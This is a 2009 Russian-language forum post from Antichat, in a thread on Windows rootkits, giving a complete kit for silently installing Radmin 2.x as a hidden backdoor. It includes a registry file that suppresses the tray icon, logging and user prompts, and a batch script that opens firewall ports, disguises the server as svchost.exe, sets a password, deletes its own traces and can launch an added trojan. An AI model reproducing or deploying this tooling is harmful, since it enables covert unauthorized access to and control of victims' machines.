Форум АНТИЧАТ - Обзор: Rootkit for Windows

23.11.2009, 23:13

F3x111TsSL

Познающий

Регистрация: 23.06.2008

Сообщений: 53

Провел на форуме:
114200

Репутация: 6

Цитата:

Сообщение от Nuc7ear

Аналогично, мне бы тоже хотелось узнать )))

для тихой установки радмина 2.0 версии я использовал архив с 5 файликами:

1) 111.reg
2) AdmDll.dll (стандартный файл радмина)
3) raddrv.dll (стандартный файл радмина)
4) svchost.exe (переименованый экзешник радмина)
5) START.bat

где:

111.reg - рег файл, настраивающий сервер
AdmDll.dll и raddrv.dll - стандартные библиотеки радмина
svchost.exe - переименованый екзешник рармин сервера
START.bat - командный файлик, выполняющий установку и конфигурацию радмина

итак сделаю некоторое лирическое отступление
версии радмина от 3.0 использовать не стоит по той причине, что в полной мере скрыто они работать не будут. они будут выдавать окна подтверждения пользвоателю во время установки и настройки и они будут отсвечивать иконкой в трее, тогда как в версиях по 2.3 включительно это все скрывается через командную строку без участия конечного пользователя
для успешной работы радмина нужно чтобы три файлика (два длл и один екзе) лежали все в одной папке в абсолютно любом месте компа. они всеравно будут работать оттуда. также екзе файлик можно переименовывать чтоб он меньше отсвечивал в процессах

содержание рег файлика:

Цитата:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplis t]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Param eters]
"NTAuthEnabled"=hex:00,00,00,00
"DisableTrayIcon"=hex:01,00,00,00
; убирает иконку с трея при работе сервера. 00,00,00,00 - чтоб иконка висела
"EnableLogFile"=hex:00,00,00,00
; радмин не будет вести логов. соответственно 01,00,00,00 если нужно вести
"LogFilePath"="c:\\logfile.txt"
; путь к лог файлу если всетаки его нужно вести
"FilterIp"=hex:00,00,00,00
; нужен ли фильтр по айпи или будет доступ независимо от айпи
"AskUser"=hex:00,00,00,00
; не спрашивать пользователя при подключении клиента к серверу

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01\ViewType]
"Data"=hex:95,f3,0b,13,44,c0,10,74,7b,2e,83,2c,f5, 89,e4,b9,49,c8,49,00,1c,eb,\
18,64,87,46,c5,78,59,73,2a,6a,13,72,53,9e,e4,f5,74 ,94,4f,49,42,46,f7,ab,05,\
1f,55,24,72,79,e9,85,c8,8a,1e,5e,e3,d8,35,70,06,28

содержание бат файлика:

Цитата:

@echo off
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
netsh firewall add allowedprogram "%Windir%\help\svchost.exe" "Remote Administrator Server" ENABLE
@ добавляет в встроеный фаервол исключение для приложения
netsh firewall add portopening TCP 4899 radm
@ открывает порт для приложения в встроеном фаерволе винды
reg export "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" 123.reg
@ вытягивает все сведения о предыдущей версии радмина в файлик 123.рег
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
@ удаляет все сведения о предыдущих версиях радмина
copy /y "svchost.exe" "%SYSTEMROOT%/help\svchost.exe"
copy /y "raddrv.dll" "%SYSTEMROOT%/help\raddrv.dll"
copy /y "admdll.dll" "%SYSTEMROOT%/help\admdll.dll"
@ копирует нужные файлы в директорию откуда он будет работать
reg import 111.reg
@ импортирует настройки из 111.рег в реестр
regedit /s 111.reg
@ кажется та же самая команда но для версий винды до ХР
"%SYSTEMROOT%/help\svchost.exe" /install /silence
@ запустить инсталяцию при этом не уведомлять пользователя
"%SYSTEMROOT%/help\svchost.exe" /port:4899 /pass:1754+ /save /silence
@ установить порт, установить пароль, сохранить изменения, не уведомлять пользователя
"%SYSTEMROOT%/help\svchost.exe" /start
@ запустить сервис
del svchost.exe
del raddrv.dll
del AdmDll.dll
del 111.reg
del 123.reg
del START.bat
@ удалить все использованые файлы в текущей ппки во избежание палива О_о

для разнообразия можешь кинуть в эту же папку любой трой и запустить его дописав в .бат файл строчку с точный названием файла

выглядеть это будет так:

Цитата:

@echo off
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
netsh firewall add allowedprogram "%Windir%\help\svchost.exe" "Remote Administrator Server" ENABLE
netsh firewall add portopening TCP 4899 radm
reg export "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" 123.reg
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
copy /y "svchost.exe" "%SYSTEMROOT%/help\svchost.exe"
copy /y "raddrv.dll" "%SYSTEMROOT%/help\raddrv.dll"
copy /y "admdll.dll" "%SYSTEMROOT%/help\admdll.dll"
reg import 111.reg
regedit /s 111.reg
"%SYSTEMROOT%/help\svchost.exe" /install /silence
"%SYSTEMROOT%/help\svchost.exe" /port:4899 /pass:1754+ /save /silence
"%SYSTEMROOT%/help\svchost.exe" /start
fuck.exe
del svchost.exe
del raddrv.dll
del AdmDll.dll
del 111.reg
del 123.reg
del START.bat

где fuck.exe - твой трой

вообще вот тема о радмине:

http://www.forum.antichat.ru/threadnav13658-1-10.html

Последний раз редактировалось F3x111TsSL; 23.11.2009 в 23:57..